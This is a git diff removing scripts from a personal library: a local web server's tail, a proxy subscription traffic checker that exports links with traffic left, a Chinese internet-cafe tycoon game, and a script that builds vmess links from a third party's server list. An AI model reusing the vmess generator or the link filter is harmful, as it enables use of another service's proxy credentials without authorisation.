self.end_headers() - self.wfile.write(body) - - def log_message(self, format, *args): - return - - -def find_free_port(start_port=8765): - port = start_port - while port < start_port + 100: - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: - try: - s.bind(("127.0.0.1", port)) - return port - except OSError: - port += 1 - raise RuntimeError("没有找到可用端口,请关闭其他占用端口的程序后重试。") - - -def start_server(): - port = find_free_port() - url = f"http://127.0.0.1:{port}/" - - # 启动时先尝试预热缓存,失败也不影响页面打开 - try: - build_all_data(force=False) - except Exception: - pass - - with socketserver.TCPServer(("127.0.0.1", port), Handler) as httpd: - print("=" * 60) - print("全球购买力对比器 Pro Max 已启动") - print("手机浏览器打开:") - print(url) - print() - print("升级内容:") - print("1. 多源汇率 + 缓存 + 默认值兜底。") - print("2. 汉堡优先同步 The Economist Big Mac 数据。") - print("3. 更美观 UI:排行、总览表、国家筛选、卡片对比。") - print("4. 右下角继续播放购买力小曲。") - print("=" * 60) - - def open_browser(): - time.sleep(1) - try: - webbrowser.open(url) - except Exception: - pass - - threading.Thread(target=open_browser, daemon=True).start() - try: - httpd.serve_forever() - except KeyboardInterrupt: - print("\n已停止运行。") - - -if __name__ == "__main__": - start_server() diff --git a/script_library/scripts/ui/script_mohivn8v.html b/script_library/scripts/ui/script_mohivn8v.html deleted file mode 100644 index 3ac059b..0000000 --- a/script_library/scripts/ui/script_mohivn8v.html +++ /dev/null @@ -1,558 +0,0 @@ - - - - - - - Aetherwave 2077 - - - - - -
-
⏻ POWER ON
-

AETHERWAVE 2077 SYSTEM

-
- -
-
AETHERWAVE // 00:00
- -
- -
-
-
INITIALIZING...
-
-
-
- -
-
- -
-
- - - - - -
- -
-
87.5 MHz
- -
- -
-
-
- VOLUME -
-
-
- FINE TUNE -
-
-
- - - - diff --git a/script_library/scripts/ui/script_moiq6nby.html b/script_library/scripts/ui/script_moiq6nby.html deleted file mode 100644 index a783c6c..0000000 --- a/script_library/scripts/ui/script_moiq6nby.html +++ /dev/null @@ -1,424 +0,0 @@ - - - - - - - - - - - - - - - 终极物理骰子 - PWA版 - - - - -
-
- -
推荐添加到主屏幕使用以获得全屏体验
-
-
倾斜手机 / 快速滑动屏幕摇晃 / 拖拽投掷
- - - - - - - - diff --git a/script_library/scripts/ui/subinfo_web_mnlyw592.py b/script_library/scripts/ui/subinfo_web_mnlyw592.py deleted file mode 100644 index cfa5ca4..0000000 --- a/script_library/scripts/ui/subinfo_web_mnlyw592.py +++ /dev/null @@ -1,567 +0,0 @@ -import json -import re -from datetime import datetime -from pathlib import Path -from typing import Dict, List, Optional -from urllib.parse import urlparse -from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer -from socket import error as SocketError - -import requests - - -USER_AGENT = "ClashforWindows/0.19.21" -SCHEME_PATTERN = re.compile(r"https?://", re.IGNORECASE) -URL_CHAR_PATTERN = re.compile(r"[A-Za-z0-9\-._~:/?#\[\]@!$&'()*+,;=%]") -TRAILING_CHARS = ",.;:!?)]}>'\",。;:!?】)〉》、" -LEADING_CHARS = "<([{\"'【(〈《" -EXPORT_DIR = Path.cwd() - - -def format_size(num_bytes: int) -> str: - negative = num_bytes < 0 - size = float(abs(num_bytes)) - units = ["B", "KB", "MB", "GB", "TB", "PB"] - for unit in units: - if size < 1024 or unit == units[-1]: - text = f"{size:.2f}{unit}" - return f"-{text}" if negative else text - size /= 1024 - return "0.00B" - - -def parse_subscription_userinfo(header_value: str) -> Dict[str, int]: - result: Dict[str, int] = {} - matches = re.findall(r"([A-Za-z]+)=(\d+)", header_value) - for key, value in matches: - result[key.lower()] = int(value) - return result - - -def format_remaining_seconds(seconds: int) -> str: - if seconds < 0: - seconds = abs(seconds) - prefix = "已过期" - else: - prefix = "距离到期还有" - - days = seconds // 86400 - hours = (seconds % 86400) // 3600 - minutes = (seconds % 3600) // 60 - secs = seconds % 60 - - if days > 0: - return f"{prefix}{days}天{hours}小时{minutes}分{secs}秒" - if hours > 0: - return f"{prefix}{hours}小时{minutes}分{secs}秒" - if minutes > 0: - return f"{prefix}{minutes}分{secs}秒" - return f"{prefix}{secs}秒" - - -def clean_candidate_url(url: str) -> str: - url = url.strip().strip(LEADING_CHARS).rstrip(TRAILING_CHARS) - while url and url[-1] in TRAILING_CHARS: - url = url[:-1] - return url - - -def looks_like_http_url(url: str) -> bool: - try: - parsed = urlparse(url) - except Exception: - return False - return parsed.scheme in {"http", "https"} and bool(parsed.netloc) - - -def extract_urls(text: str) -> List[str]: - result: List[str] = [] - seen = set() - starts = [m.start() for m in SCHEME_PATTERN.finditer(text)] - - for i, start in enumerate(starts): - next_start = starts[i + 1] if i + 1 < len(starts) else len(text) - end = start - - while end < len(text): - if end > start and end < next_start and text[end:end + 7].lower() == "http://": - break - if end > start and end < next_start and text[end:end + 8].lower() == "https://": - break - if end >= next_start: - break - if not URL_CHAR_PATTERN.match(text[end]): - break - end += 1 - - raw = text[start:end] - url = clean_candidate_url(raw) - if not url or not looks_like_http_url(url): - continue - if url not in seen: - seen.add(url) - result.append(url) - - stripped = clean_candidate_url(text.strip()) - if not result and looks_like_http_url(stripped): - result.append(stripped) - - return result - - -def export_positive_urls(urls: List[str], base_dir: Optional[Path] = None) -> Optional[Path]: - if not urls: - return None - - output_dir = Path(base_dir) if base_dir else EXPORT_DIR - output_dir.mkdir(parents=True, exist_ok=True) - file_path = output_dir / f"positive_sub_urls_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt" - file_path.write_text("\n".join(urls) + "\n", encoding="utf-8") - return file_path - - -def query_sub_info(url: str, timeout: int = 12) -> Dict[str, object]: - headers = {"User-Agent": USER_AGENT} - response = requests.get(url, headers=headers, timeout=timeout) - response.raise_for_status() - - sub_header: Optional[str] = response.headers.get("Subscription-Userinfo") - if not sub_header: - raise ValueError("未获取到 Subscription-Userinfo,可能该订阅不提供流量或到期信息。") - - info = parse_subscription_userinfo(sub_header) - upload = info.get("upload", 0) - download = info.get("download", 0) - total = info.get("total", 0) - expire = info.get("expire") - - used = upload + download - remain = total - used - - result: Dict[str, object] = { - "订阅链接": url, - "总流量": format_size(total) if total else "未知", - "剩余流量": format_size(remain) if total else "未知", - "已上传": format_size(upload), - "已下载": format_size(download), - "到期时间": "未知", - "到期说明": "可能是无限期订阅,或服务端未返回 expire", - "剩余流量字节": remain, - "查询成功": True, - } - - if expire: - expire_dt = datetime.fromtimestamp(expire).astimezone() - now_ts = int(datetime.now().astimezone().timestamp()) - result["到期时间"] = expire_dt.strftime("%Y-%m-%d %H:%M:%S %Z") - result["到期说明"] = format_remaining_seconds(expire - now_ts) - - return result - - -def render_success_block(data: Dict[str, object], index: int, total_count: int) -> str: - return ( - f"[{index}/{total_count}] 查询成功\n" - f"订阅链接: {data['订阅链接']}\n" - f"总流量: {data['总流量']}\n" - f"剩余流量: {data['剩余流量']}\n" - f"已上传: {data['已上传']}\n" - f"已下载: {data['已下载']}\n" - f"到期时间: {data['到期时间']}\n" - f"说明: {data['到期说明']}\n" - ) - - -def render_error_block(url: str, error_message: str, index: int, total_count: int) -> str: - return ( - f"[{index}/{total_count}] 查询失败\n" - f"订阅链接: {url}\n" - f"错误信息: {error_message}\n" - ) - - -def run_batch_query(raw_text: str) -> Dict[str, object]: - raw_text = raw_text.strip() - if not raw_text: - return {"ok": False, "message": "请先输入或粘贴内容。"} - - urls = extract_urls(raw_text) - if not urls: - return {"ok": False, "message": "未识别到可查询的 http/https 链接。"} - - results: List[str] = [] - success_count = 0 - positive_urls: List[str] = [] - - for index, url in enumerate(urls, start=1): - try: - data = query_sub_info(url) - results.append(render_success_block(data, index, len(urls))) - success_count += 1 - remain_bytes = int(data.get("剩余流量字节", 0)) - if remain_bytes > 0 and str(data["订阅链接"]) not in positive_urls: - positive_urls.append(str(data["订阅链接"])) - except requests.HTTPError as exc: - status_code = exc.response.status_code if exc.response is not None else "未知" - results.append(render_error_block(url, f"HTTP 请求失败,状态码: {status_code}", index, len(urls))) - except requests.RequestException as exc: - results.append(render_error_block(url, f"网络请求失败: {exc}", index, len(urls))) - except Exception as exc: - results.append(render_error_block(url, f"查询失败: {exc}", index, len(urls))) - - export_text = ("\n".join(positive_urls) + "\n") if positive_urls else "" - export_path = export_positive_urls(positive_urls) - summary_lines = [ - f"共识别 {len(urls)} 个链接,成功 {success_count} 个,失败 {len(urls) - success_count} 个。", - f"剩余流量大于 0 的可用链接:{len(positive_urls)} 个。", - ] - if export_path: - summary_lines.append(f"已同时保存到脚本目录: {export_path.name}") - else: - summary_lines.append("没有可导出的可用链接。") - - summary = "\n".join(summary_lines) + f"\n{'=' * 72}\n\n" - final_text = summary + (f"\n{'-' * 72}\n\n".join(results) if results else "没有可显示的结果。\n") - return { - "ok": True, - "urls": urls, - "success_count": success_count, - "total_count": len(urls), - "positive_count": len(positive_urls), - "export_path": str(export_path) if export_path else "", - "export_name": export_path.name if export_path else "", - "export_text": export_text, - "positive_urls": positive_urls, - "text": final_text, - } - - -HTML_PAGE = """ - - - - -订阅查询工具 - - - -
-
-

订阅链接查询

支持:单链接查询、混杂文本自动提取、多链接批量查询、页面内直接导出可用链接。

-
- -
- -
- - - - -
-
就绪
-
-
自动识别 http / https
-
页面内导出 + 一键复制
-
-
- 小提示:查询完成后,可用链接会直接显示在页面下方,可一键复制。 -
-
- -
-
结果会显示在这里。
-
- -
-
可用订阅链接(剩余流量大于 0)
- -
- - -
-
还没有导出内容
-
-
- - - -""" - - -class WebHandler(BaseHTTPRequestHandler): - def _set_common_headers(self, content_type: str, content_length: int, status: int = 200, extra_headers: Optional[Dict[str, str]] = None) -> None: - self.send_response(status) - self.send_header("Content-Type", content_type) - self.send_header("Content-Length", str(content_length)) - self.send_header("Cache-Control", "no-store") - self.send_header("Access-Control-Allow-Origin", "*") - self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS") - self.send_header("Access-Control-Allow-Headers", "Content-Type") - if extra_headers: - for key, value in extra_headers.items(): - self.send_header(key, value) - self.end_headers() - - def _safe_write(self, data: bytes) -> None: - try: - self.wfile.write(data) - except (BrokenPipeError, ConnectionResetError, SocketError): - return - - def _send_json(self, payload: Dict[str, object], status: int = 200) -> None: - data = json.dumps(payload, ensure_ascii=False).encode("utf-8") - self._set_common_headers("application/json; charset=utf-8", len(data), status) - self._safe_write(data) - - def do_OPTIONS(self) -> None: - self._set_common_headers("text/plain; charset=utf-8", 0, 204) - - def do_GET(self) -> None: - if self.path == "/": - body = HTML_PAGE.encode("utf-8") - self._set_common_headers("text/html; charset=utf-8", len(body), 200) - self._safe_write(body) - return - - if self.path.startswith("/download/"): - filename = self.path.split("/download/", 1)[1] - if not filename: - self._send_json({"ok": False, "message": "文件名无效"}, status=400) - return - file_path = EXPORT_DIR / Path(filename).name - if not file_path.exists() or not file_path.is_file(): - self._send_json({"ok": False, "message": "文件不存在"}, status=404) - return - data = file_path.read_bytes() - headers = {"Content-Disposition": f'attachment; filename="{file_path.name}"'} - self._set_common_headers("text/plain; charset=utf-8", len(data), 200, headers) - self._safe_write(data) - return - - self._send_json({"ok": False, "message": "Not Found"}, status=404) - - def do_POST(self) -> None: - if self.path != "/query": - self._send_json({"ok": False, "message": "Not Found"}, status=404) - return - - try: - length = int(self.headers.get("Content-Length", "0")) - raw = self.rfile.read(length).decode("utf-8") - data = json.loads(raw) if raw else {} - text = str(data.get("text", "")) - result = run_batch_query(text) - self._send_json(result) - except Exception as exc: - self._send_json({"ok": False, "message": f"服务端处理失败: {exc}"}, status=500) - - def log_message(self, format: str, *args) -> None: - return - - -def try_open_browser(url: str) -> None: - try: - import webbrowser - webbrowser.open(url) - except Exception: - pass - - -def run_web_mode() -> None: - host = "127.0.0.1" - server = None - port = 8765 - for candidate in [8765, 8766, 8767, 8080, 8000]: - try: - server = ThreadingHTTPServer((host, candidate), WebHandler) - port = candidate - break - except OSError: - continue - - if server is None: - raise RuntimeError("无法启动本地网页服务,请检查端口占用情况。") - - url = f"http://{host}:{port}/" - print("启动成功:HTML 查询界面已就绪") - print(f"请在浏览器或应用内网页预览打开:{url}") - print("按停止运行即可结束服务。") - try_open_browser(url) - server.serve_forever() - - -if __name__ == "__main__": - run_web_mode() diff --git a/script_library/scripts/ui/ui_mnkr9090.py b/script_library/scripts/ui/ui_mnkr9090.py deleted file mode 100644 index 31ff609..0000000 --- a/script_library/scripts/ui/ui_mnkr9090.py +++ /dev/null @@ -1,577 +0,0 @@ -# 网吧模拟器 优化版 - 修复点击无反馈和逻辑问题 -import ui -import random -import json -import hashlib -import time -import dialogs -import threading - -class 网吧大亨优化版: - def __init__(self): - # 基础 - self.钱 = 800 - self.天数 = 1 - self.小时 = 10 - self.排队顾客 = 0 - self.上网价格 = 6 - self.口碑 = 100 - self.会员数 = 0 - self.今日营收 = 0 - self.天气 = ["☀️晴天", "🌧️小雨", "⛈️大雨", "❄️雪天"][random.randint(0, 3)] - - # 电脑(现在有等级) - self.电脑数量 = 6 - self.电脑等级 = 1 - self.电脑使用中 = 0 - - # 电脑必须配件(都有等级) - self.电脑桌等级 = 1 - self.主机等级 = 1 - self.显示器等级 = 1 - self.椅子等级 = 1 - self.鼠标等级 = 1 - self.键盘等级 = 1 - - # 街机 - self.街机数量 = 0 - self.街机等级 = 1 - self.街机使用中 = 0 - - # 饮料 - self.饮料库存 = 20 - self.饮料成本 = 2 - self.饮料售价 = 5 - - # 网管 - self.网管列表 = [] - self.最大网管数 = 5 - - # 顾客计时(24小时强制下机) - self.顾客上机时长 = [0] * self.电脑数量 - - # UI 引用 - self.view = None - self.status_labels = {} - self.feedback_label = None - - # ====================== 反馈系统 ====================== - def 显示反馈(self, message): - """显示操作反馈消息""" - print(f"[反馈] {message}") # 控制台输出 - - # 如果UI已创建,在界面上显示反馈 - if self.view and self.feedback_label: - self.feedback_label.text = message - # 3秒后清除反馈 - def 清除反馈(): - time.sleep(3) - if self.feedback_label: - self.feedback_label.text = "" - threading.Thread(target=清除反馈).start() - - # ====================== 时间系统 ====================== - def 时间流逝(self, sender=None): - # 电脑计时 - 下机 = 0 - for i in range(self.电脑使用中): - self.顾客上机时长[i] += 1 - if self.顾客上机时长[i] >= 24: - 下机 += 1 - - if 下机 > 0: - self.显示反馈(f"⏰ {下机}人满24小时强制下机") - # 移除已下机的顾客 - new_时长 = [] - for i in range(self.电脑使用中): - if self.顾客上机时长[i] < 24: - new_时长.append(self.顾客上机时长[i]) - self.电脑使用中 -= 下机 - self.顾客上机时长 = new_时长 + [0] * 下机 - - # 街机计时(街机每小时自动下机) - if self.街机使用中 > 0: - self.街机使用中 = max(0, self.街机使用中 - 1) - - # 时间推进 - self.小时 += 1 - if self.小时 >= 24: - self.小时 = 9 - self.天数 += 1 - self.今日营收 = 0 - self.天气 = random.choice(["☀️晴天", "🌧️小雨", "⛈️大雨", "❄️雪天"]) - self.显示反馈(f"📅 新的一天开始!今天是{self.天气}") - - # 顾客上限40 - 来客 = random.randint(1, 4) - if self.天气 == "☀️晴天": - 来客 += 2 - if self.口碑 > 120: - 来客 += 2 - self.排队顾客 = min(self.排队顾客 + max(来客, 0), 40) - - self.显示反馈(f"⏰ 时间流逝1小时,来了{来客}位顾客") - self.更新界面() - - def 快进2h(self, sender=None): - self.显示反馈("⏩ 快进2小时…") - for _ in range(2): - self.时间流逝() - - def 快进3h(self, sender=None): - self.显示反馈("⏩ 快进3小时…") - for _ in range(3): - self.时间流逝() - - # ====================== 核心收益 ====================== - def 每台电脑每小时收益(self): - 倍率 = ( - self.电脑等级 * 0.2 - + self.电脑桌等级 * 0.05 - + self.主机等级 * 0.1 - + self.显示器等级 * 0.08 - + self.椅子等级 * 0.05 - + self.鼠标等级 * 0.03 - + self.键盘等级 * 0.03 - + 1 - ) - return round(self.上网价格 * 倍率, 1) - - def 每台街机每小时收益(self): - return round(8 + self.街机等级 * 3, 1) - - # ====================== 商城 ====================== - def 打开商城(self, sender=None): - # 创建商城窗口 - shop_view = ui.View(frame=(0, 0, 400, 600)) - shop_view.name = "网吧商城" - shop_view.background_color = '#f5f5f5' - - # 标题 - title_label = ui.Label(frame=(0, 20, 400, 40)) - title_label.text = "🏬 超级商城" - title_label.font = ('', 24) - title_label.alignment = ui.ALIGN_CENTER - shop_view.add_subview(title_label) - - # 金钱显示 - money_label = ui.Label(frame=(0, 70, 400, 30)) - money_label.text = f"💰 当前金钱:{self.钱}" - money_label.font = ('', 18) - money_label.alignment = ui.ALIGN_CENTER - shop_view.add_subview(money_label) - - # 商品列表 - shop_items = [ - ("🖥️ 买电脑", f"价格:{200 + self.电脑数量*50}", "买电脑"), - ("⬆️ 电脑等级", f"等级:{self.电脑等级} 价格:{300 * self.电脑等级}", "升电脑"), - ("🪑 电脑桌", f"等级:{self.电脑桌等级} 价格:{100*self.电脑桌等级}", "升电脑桌"), - ("🖥️ 主机", f"等级:{self.主机等级} 价格:{150*self.主机等级}", "升主机"), - ("🖥️ 显示器", f"等级:{self.显示器等级} 价格:{120*self.显示器等级}", "升显示器"), - ("🪑 椅子", f"等级:{self.椅子等级} 价格:{80*self.椅子等级}", "升椅子"), - ("🖱️ 鼠标", f"等级:{self.鼠标等级} 价格:{50*self.鼠标等级}", "升鼠标"), - ("⌨️ 键盘", f"等级:{self.键盘等级} 价格:{50*self.键盘等级}", "升键盘"), - ("🎮 买街机", f"数量:{self.街机数量} 价格:{400 + self.街机数量*100}", "买街机"), - ("⬆️ 街机等级", f"等级:{self.街机等级} 价格:{250*self.街机等级}", "升街机"), - ] - - y_offset = 120 - for i, (title, desc, action) in enumerate(shop_items): - item_view = ui.View(frame=(20, y_offset, 360, 44)) - item_view.background_color = '#ffffff' - item_view.corner_radius = 10 - item_view.border_width = 1 - item_view.border_color = '#dddddd' - - title_label = ui.Label(frame=(10, 5, 200, 34)) - title_label.text = title - title_label.font = ('', 16) - item_view.add_subview(title_label) - - desc_label = ui.Label(frame=(210, 5, 100, 34)) - desc_label.text = desc - desc_label.font = ('', 12) - desc_label.text_color = '#666666' - item_view.add_subview(desc_label) - - buy_btn = ui.Button(frame=(320, 5, 30, 34)) - buy_btn.title = "✅" - buy_btn.font = ('', 16) - buy_btn.action = self.创建购买动作(action) - item_view.add_subview(buy_btn) - - shop_view.add_subview(item_view) - y_offset += 50 - - # 返回按钮 - back_btn = ui.Button(frame=(120, y_offset+20, 160, 44)) - back_btn.title = "返回主菜单" - back_btn.background_color = '#007AFF' - back_btn.title_color = 'white' - back_btn.corner_radius = 10 - back_btn.action = lambda s: shop_view.close() - shop_view.add_subview(back_btn) - - shop_view.present('sheet') - - def 创建购买动作(self, action_type): - def 购买操作(sender): - success = False - message = "" - - if action_type == "买电脑": - 价 = 200 + self.电脑数量 * 50 - if self.钱 >= 价: - self.钱 -= 价 - self.电脑数量 += 1 - self.顾客上机时长.append(0) - message = f"✅ 购买成功!花费{价}元" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "升电脑": - 价 = 300 * self.电脑等级 - if self.钱 >= 价: - self.钱 -= 价 - self.电脑等级 += 1 - message = f"✅ 电脑升到{self.电脑等级}级!" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "升电脑桌": - 价 = 100 * self.电脑桌等级 - if self.钱 >= 价: - self.钱 -= 价 - self.电脑桌等级 += 1 - message = "✅ 电脑桌升级成功!" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "升主机": - 价 = 150 * self.主机等级 - if self.钱 >= 价: - self.钱 -= 价 - self.主机等级 += 1 - message = "✅ 主机升级成功!" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "升显示器": - 价 = 120 * self.显示器等级 - if self.钱 >= 价: - self.钱 -= 价 - self.显示器等级 += 1 - message = "✅ 显示器升级成功!" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "升椅子": - 价 = 80 * self.椅子等级 - if self.钱 >= 价: - self.钱 -= 价 - self.椅子等级 += 1 - message = "✅ 椅子升级成功!" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "升鼠标": - 价 = 50 * self.鼠标等级 - if self.钱 >= 价: - self.钱 -= 价 - self.鼠标等级 += 1 - message = "✅ 鼠标升级成功!" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "升键盘": - 价 = 50 * self.键盘等级 - if self.钱 >= 价: - self.钱 -= 价 - self.键盘等级 += 1 - message = "✅ 键盘升级成功!" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "买街机": - 价 = 400 + self.街机数量 * 100 - if self.钱 >= 价: - self.钱 -= 价 - self.街机数量 += 1 - message = "✅ 街机+1" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "升街机": - 价 = 250 * self.街机等级 - if self.钱 >= 价: - self.钱 -= 价 - self.街机等级 += 1 - message = f"✅ 街机升到{self.街机等级}级" - success = True - else: - message = "❌ 钱不够" - - # 显示反馈 - self.显示反馈(message) - - # 更新界面并关闭商城 - self.更新界面() - if success: - sender.superview.superview.close() # 关闭商城窗口 - - return 购买操作 - - # ====================== 接待 ====================== - def 接待电脑(self, sender=None): - 可用 = self.电脑数量 - self.电脑使用中 - if 可用 <= 0: - self.显示反馈("❌ 没有空闲电脑") - return - if self.排队顾客 <= 0: - self.显示反馈("❌ 没有排队顾客") - return - - 接 = min(可用, self.排队顾客) - 单台 = self.每台电脑每小时收益() - 收入 = 接 * 单台 - self.钱 += 收入 - self.今日营收 += 收入 - - # 为新顾客设置上机时长 - for i in range(self.电脑使用中, self.电脑使用中 + 接): - if i < len(self.顾客上机时长): - self.顾客上机时长[i] = 0 - else: - self.顾客上机时长.append(0) - - self.电脑使用中 += 接 - self.排队顾客 -= 接 - self.口碑 = min(self.口碑 + 2, 150) - self.显示反馈(f"✅ 接待{接}位顾客,收入{收入}元") - self.更新界面() - - def 接待街机(self, sender=None): - 可用 = self.街机数量 - self.街机使用中 - if 可用 <= 0: - self.显示反馈("❌ 街机已满") - return - if self.排队顾客 <= 0: - self.显示反馈("❌ 没有排队顾客") - return - - 接 = min(可用, min(3, self.排队顾客)) # 最多3人,且不能超过排队人数 - 单台 = self.每台街机每小时收益() - 收入 = 接 * 单台 - self.钱 += 收入 - self.今日营收 += 收入 - self.街机使用中 += 接 - self.排队顾客 -= 接 - self.显示反馈(f"✅ 街机接待{接}人,收入{收入}元") - self.更新界面() - - # ====================== 存档系统 ====================== - def 生成存档码(self, sender=None): - 数据 = self.__dict__.copy() - # 移除UI引用 - if 'view' in 数据: - del 数据['view'] - if 'status_labels' in 数据: - del 数据['status_labels'] - if 'feedback_label' in 数据: - del 数据['feedback_label'] - - 字符串 = json.dumps(数据, ensure_ascii=False) - 唯一码 = hashlib.sha256((字符串 + str(time.time())).encode()).hexdigest()[:16] - - dialogs.alert("🏪 存档信息", f"✅ 存档码:{唯一码}\n\n存档数据已复制到剪贴板", "确定") - import clipboard - clipboard.set(字符串) - self.显示反馈("✅ 存档成功!") - - def 读取存档码(self, sender=None): - import clipboard - 存档数据 = clipboard.get() - if not 存档数据: - dialogs.alert("❌ 错误", "剪贴板中没有存档数据", "确定") - return - - try: - data = json.loads(存档数据) - self.__dict__.update(data) - # 重新初始化UI引用 - self.view = None - self.status_labels = {} - self.feedback_label = None - - dialogs.alert("✅ 成功", "读档成功!", "确定") - self.显示反馈("✅ 读档成功!") - self.更新界面() - except Exception as e: - dialogs.alert("❌ 失败", f"读取存档失败:{str(e)}", "确定") - self.显示反馈("❌ 读档失败") - - # ====================== UI界面 ====================== - def 创建界面(self): - # 主视图 - self.view = ui.View(frame=(0, 0, 400, 750)) - self.view.name = "🏪 网吧大亨·优化版" - self.view.background_color = '#1a1a2e' - - # 顶部标题 - title_label = ui.Label(frame=(0, 40, 400, 50)) - title_label.text = "🏪 网吧大亨·优化版" - title_label.font = ('', 24) - title_label.text_color = '#ffffff' - title_label.alignment = ui.ALIGN_CENTER - self.view.add_subview(title_label) - - # 反馈标签 - self.feedback_label = ui.Label(frame=(20, 90, 360, 30)) - self.feedback_label.text = "欢迎来到网吧大亨!" - self.feedback_label.font = ('', 14) - self.feedback_label.text_color = '#FFD700' # 金色 - self.feedback_label.alignment = ui.ALIGN_CENTER - self.view.add_subview(self.feedback_label) - - # 状态显示区域 - status_y = 130 - status_items = [ - ("电脑状态", f"🖥️电脑:{self.电脑使用中}/{self.电脑数量} Lv.{self.电脑等级}", "电脑状态"), - ("街机状态", f"🎮街机:{self.街机使用中}/{self.街机数量} Lv.{self.街机等级}", "街机状态"), - ("排队顾客", f"👥排队:{self.排队顾客}/40", "排队顾客"), - ("资金", f"💰钱:{self.钱}", "资金"), - ("口碑天气", f"🌟口碑:{self.口碑} {self.天气}", "口碑天气"), - ("今日营收", f"📊今日营收:{self.今日营收}", "今日营收"), - ("电脑单价", f"💸电脑单价:{self.每台电脑每小时收益()}元/时", "电脑单价"), - ("街机单价", f"🎮街机单价:{self.每台街机每小时收益()}元/时", "街机单价"), - ("配件等级", f"配件:桌{self.电脑桌等级} 主机{self.主机等级} 显示器{self.显示器等级} 椅{self.椅子等级} 鼠{self.鼠标等级} 键{self.键盘等级}", "配件等级"), - ("时间", f"📅第{self.天数}天 ⏰{self.小时}:00", "时间"), - ] - - self.status_labels = {} - for i, (title, text, key) in enumerate(status_items): - label = ui.Label(frame=(20, status_y + i*30, 360, 30)) - label.text = text - label.font = ('', 14) - label.text_color = '#e0e0e0' - label.alignment = ui.ALIGN_LEFT - self.view.add_subview(label) - self.status_labels[key] = label - - # 操作按钮区域 - buttons_y = status_y + len(status_items)*30 + 20 - - # 第一行按钮 - btn1 = ui.Button(frame=(20, buttons_y, 160, 44)) - btn1.title = "🖥️ 接待电脑" - btn1.background_color = '#4CAF50' - btn1.title_color = 'white' - btn1.corner_radius = 10 - btn1.action = self.接待电脑 - self.view.add_subview(btn1) - - btn2 = ui.Button(frame=(220, buttons_y, 160, 44)) - btn2.title = "🎮 接待街机" - btn2.background_color = '#2196F3' - btn2.title_color = 'white' - btn2.corner_radius = 10 - btn2.action = self.接待街机 - self.view.add_subview(btn2) - - # 第二行按钮 - btn3 = ui.Button(frame=(20, buttons_y + 54, 160, 44)) - btn3.title = "🏬 商城" - btn3.background_color = '#FF9800' - btn3.title_color = 'white' - btn3.corner_radius = 10 - btn3.action = self.打开商城 - self.view.add_subview(btn3) - - btn4 = ui.Button(frame=(220, buttons_y + 54, 160, 44)) - btn4.title = "⏰ 快进1h" - btn4.background_color = '#9C27B0' - btn4.title_color = 'white' - btn4.corner_radius = 10 - btn4.action = self.时间流逝 - self.view.add_subview(btn4) - - # 第三行按钮 - btn5 = ui.Button(frame=(20, buttons_y + 108, 160, 44)) - btn5.title = "⏩ 快进2h" - btn5.background_color = '#673AB7' - btn5.title_color = 'white' - btn5.corner_radius = 10 - btn5.action = self.快进2h - self.view.add_subview(btn5) - - btn6 = ui.Button(frame=(220, buttons_y + 108, 160, 44)) - btn6.title = "⏩ 快进3h" - btn6.background_color = '#3F51B5' - btn6.title_color = 'white' - btn6.corner_radius = 10 - btn6.action = self.快进3h - self.view.add_subview(btn6) - - # 第四行按钮(存档/读档) - btn7 = ui.Button(frame=(20, buttons_y + 162, 160, 44)) - btn7.title = "💾 存档" - btn7.background_color = '#009688' - btn7.title_color = 'white' - btn7.corner_radius = 10 - btn7.action = self.生成存档码 - self.view.add_subview(btn7) - - btn8 = ui.Button(frame=(220, buttons_y + 162, 160, 44)) - btn8.title = "📂 读档" - btn8.background_color = '#795548' - btn8.title_color = 'white' - btn8.corner_radius = 10 - btn8.action = self.读取存档码 - self.view.add_subview(btn8) - - # 说明标签 - info_label = ui.Label(frame=(20, buttons_y + 216, 360, 40)) - info_label.text = "💡 提示:所有操作都有反馈显示在上方" - info_label.font = ('', 12) - info_label.text_color = '#888888' - info_label.alignment = ui.ALIGN_CENTER - self.view.add_subview(info_label) - - return self.view - - def 更新界面(self): - if not self.view: - return - - # 更新所有状态标签 - self.status_labels["电脑状态"].text = f"🖥️电脑:{self.电脑使用中}/{self.电脑数量} Lv.{self.电脑等级}" - self.status_labels["街机状态"].text = f"🎮街机:{self.街机使用中}/{self.街机数量} Lv.{self.街机等级}" - self.status_labels["排队顾客"].text = f"👥排队:{self.排队顾客}/40" - self.status_labels["资金"].text = f"💰钱:{self.钱}" - self.status_labels["口碑天气"].text = f"🌟口碑:{self.口碑} {self.天气}" - self.status_labels["今日营收"].text = f"📊今日营收:{self.今日营收}" - self.status_labels["电脑单价"].text = f"💸电脑单价:{self.每台电脑每小时收益()}元/时" - self.status_labels["街机单价"].text = f"🎮街机单价:{self.每台街机每小时收益()}元/时" - self.status_labels["配件等级"].text = f"配件:桌{self.电脑桌等级} 主机{self.主机等级} 显示器{self.显示器等级} 椅{self.椅子等级} 鼠{self.鼠标等级} 键{self.键盘等级}" - self.status_labels["时间"].text = f"📅第{self.天数}天 ⏰{self.小时}:00" - - # 强制重绘 - self.view.set_needs_display() - - def 开始游戏(self): - view = self.创建界面() - view.present('sheet') - -# 启动游戏 -if __name__ == "__main__": - 游戏 = 网吧大亨优化版() - 游戏.开始游戏() \ No newline at end of file diff --git a/script_library/scripts/ui/vpn_mnqlott7.py b/script_library/scripts/ui/vpn_mnqlott7.py deleted file mode 100644 index 52874f0..0000000 --- a/script_library/scripts/ui/vpn_mnqlott7.py +++ /dev/null @@ -1,18 +0,0 @@ -import requests -import base64 -from urllib.parse import quote - -def fetch_and_generate_vmess(): - data = requests.get("https://fastconn.github.io/v/servers.json").json() - - u = data["cfgs"]["vmess"]["a"]["u"] - pt = data["cfgs"]["vmess"]["a"]["pt"] - - for item in data["l"]: - for server in item.get("servers", []) + item.get("vip-bak", []): - if server.get("ip") and server.get("city"): - vmess_b64 = base64.b64encode(f"auto:{u}@{server['ip']}:{pt}".encode()).decode() - print(f"vmess://{vmess_b64}?remarks={quote(server['city'])}&allowInsecure=1&alterId=1") - -if __name__ == 